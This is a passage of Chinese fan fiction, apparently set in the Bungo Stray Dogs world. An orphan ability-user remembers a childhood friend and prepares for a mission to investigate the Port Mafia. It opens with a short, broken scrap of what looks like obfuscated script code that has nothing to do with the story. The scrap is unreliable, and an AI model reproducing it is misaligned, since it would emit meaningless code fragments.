0=7.0.6();b(/a|9|1|2|5|4|3|c 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那次的目的是想来看看自己的小伙伴雪奈。阳葵边走边回忆着,当时院长先生告诉她,雪奈已经被收养了,就在她离开的第二天。 阳葵至今都忘不了那种感觉,激动、兴奋,还有一丝欣慰。 此次任务的负责人小姐姓佐藤,她简单跟小林说了任务的内容——与横滨非法异能组织会谈,并暗中进行调查。 其中最主要的目标,就是刚在龙头战争中脱颖而出的港口黑-手-党。 小林阳葵在学校时就听过这个名字了,同时还有【双黑】、【摆渡人】这样的,许许多多的代号。 作为白道里罕见的异能者之一,小林阳葵知道的消息总是会比别人要多一些。比如一个叫【荒霸吐计算机】的东西才是龙头战争的导火索,又比如异能的爆发和特异点脱不了干系,再比如,港口黑-手-党里有能让异能无效化的存在。 小林阳葵现在已经是“猎犬”的预备队员了。 她只需借着任务的名义,处理好一切,就可以拥抱新生活。 站在港口,可以看见中心街的摩天轮,远处隐隐约约传来爵士乐的旋律,听不真切,还没有喷泉的声音让人刻苦铭心。 小林阳葵从来都不相信命运。 她望着孤儿院的大门,手里握着那枚纹章。 凡事发生必然有它的道理,而她需要做的,就是坦然接受这一切。 小林阳葵做到了吗? 或许吧。 这个问题没有人能给出完美答案。 当然,也包括她自己。